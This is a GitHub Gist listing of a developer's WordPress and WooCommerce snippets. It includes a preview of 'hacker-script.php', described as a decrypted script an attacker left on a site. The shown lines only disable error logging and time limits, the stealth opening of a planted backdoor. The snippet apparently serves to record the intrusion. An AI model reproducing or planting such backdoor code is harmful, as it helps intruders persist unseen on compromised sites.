Skip to content

Instantly share code, notes, and snippets.

View nczz's full-sized avatar
🇹🇼
寫 code 不一定會幫你賺到錢,但會寫 code 能生活的有意思點。

一介資男 nczz

🇹🇼
寫 code 不一定會幫你賺到錢,但會寫 code 能生活的有意思點。
View GitHub Profile
@nczz
nczz / detect_facebookbot.php
Created October 1, 2016 08:55
判斷Facebook 機器人
<?php
if (
strpos($_SERVER["HTTP_USER_AGENT"], "facebookexternalhit/") !== false ||
strpos($_SERVER["HTTP_USER_AGENT"], "Facebot") !== false
) {
echo "Facebook is coming!";
} else {
echo "Sad, You are not Facebook.";
}
@nczz
nczz / hacker-script.php
Last active February 17, 2017 16:05
Hacker 在網站上留下的遺跡,把原始加密版解密後發現居然還有外掛模組的部分,來紀錄一下!
<?php
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);
if(!defined("PHP_EOL"))
{
@nczz
nczz / answer_media_send_to_editor.php
Last active February 23, 2017 03:56
回覆社團:https://www.facebook.com/groups/wordpresstw/permalink/1529719560388812/ 「想請教一下大家,有插件可以做到插入相片時,會使用自動設定嗎? 就是插入後為 width="auto" height="auto" 而不是數字」的問題
<?php
add_action( 'media_send_to_editor', 'mxp_before_insert_media');
function mxp_before_insert_media($html, $id, $attachment) {
//此方法針對全媒體,不只有圖片
$html = preg_replace('/width="(\d+)"/i', 'width="auto"', $html);
$html = preg_replace('/height="(\d+)"/i', 'height="auto"', $html);
return $html;
}
@nczz
nczz / wordpress_search_custom_fields_without_plugin.php
Created March 30, 2017 09:32
[WordPress] 讓 Custom Field 自訂欄位變可搜尋
<?php
/**
* Extend WordPress search to include custom fields
*
* Author: http://adambalee.com
* Post: https://adambalee.com/search-wordpress-by-custom-fields-without-a-plugin/
*/
/**
* Join posts and postmeta tables
@nczz
nczz / wc_auto_update_cart.php
Created April 11, 2017 12:24
Woocommerce 自動更新購物車方法
<?php
//functions.php
add_action( 'woocommerce_after_cart', 'mxp_auto_cart_update_qty_script' );
function mxp_auto_cart_update_qty_script() {
?>
<script>
jQuery('div.woocommerce').on('change', '.qty', function(){
jQuery("[name='update_cart']").removeAttr('disabled');
jQuery("[name='update_cart']").trigger("click");
});
@nczz
nczz / index.html
Last active April 11, 2017 17:19
新主機的入口頁
<!doctype html>
<head>
<meta charset="utf-8">
<title>網站建構中! - 敲敲設計</title>
<style>
body { text-align: center; padding: 150px; }
h1 { font-size: 50px; }
body { font: 20px Helvetica, sans-serif; color: #333; }
article { display: block; text-align: left; width: 650px; margin: 0 auto; }
a { color: #dc8100; text-decoration: none; }
@nczz
nczz / delete_wc_products_and_meta.sql
Created April 13, 2017 07:29
從資料庫批次刪除 WooCommerce 商品資訊
DELETE wp_posts,wp_postmeta
FROM wp_posts
INNER JOIN wp_postmeta ON wp_posts.ID=wp_postmeta.post_id
WHERE wp_posts.post_type LIKE 'product';
@nczz
nczz / mxp_set_remote_image_to_post_thumbnail.php
Created April 14, 2017 12:25
使用遠端圖片連結建立文章特色圖片(thumbnail)
<?php
//functions.php
function mxp_set_remote_image_to_post_thumbnail($post_id) {
$link = get_post_meta($post_id, 'mxp-remote-image', true);
if (filter_var($link, FILTER_VALIDATE_URL) === FALSE) {
return false;
}
if (!has_post_thumbnail($post_id)) {
require_once ABSPATH . 'wp-admin/includes/media.php';
require_once ABSPATH . 'wp-admin/includes/file.php';
@nczz
nczz / woocommerce-checkout-fields-for-TW.php
Last active January 31, 2020 09:34
調整適合在台灣銷售的 WooCommerce 結帳頁表單欄位(含郵遞區號自動選擇)Blog: https://www.mxp.tw/5961/
<?php
//functions.php
function woocommerce_version_check($version = '3.3') {
if (function_exists('is_woocommerce_active') && is_woocommerce_active()) {
global $woocommerce;
if (version_compare($woocommerce->version, $version, ">=")) {
return true;
}
}
return false;
@nczz
nczz / wp-cli-cmd.sh
Created May 16, 2017 14:29
常用的 wp-cli 指令,用於開一個初始化新站。
#!/usr/bin/env bash
clear
# Take User Inputs
read -p "Site URL: " url
read -p "Site title: " title
read -p "Site Slug: " sslug
read -p "DB Name: " db
read -p "DB Pass: " dbpass
read -p "WP Prefix: " pf
pass=$(date +%s | sha256sum | base64 | head -c 32 ; echo)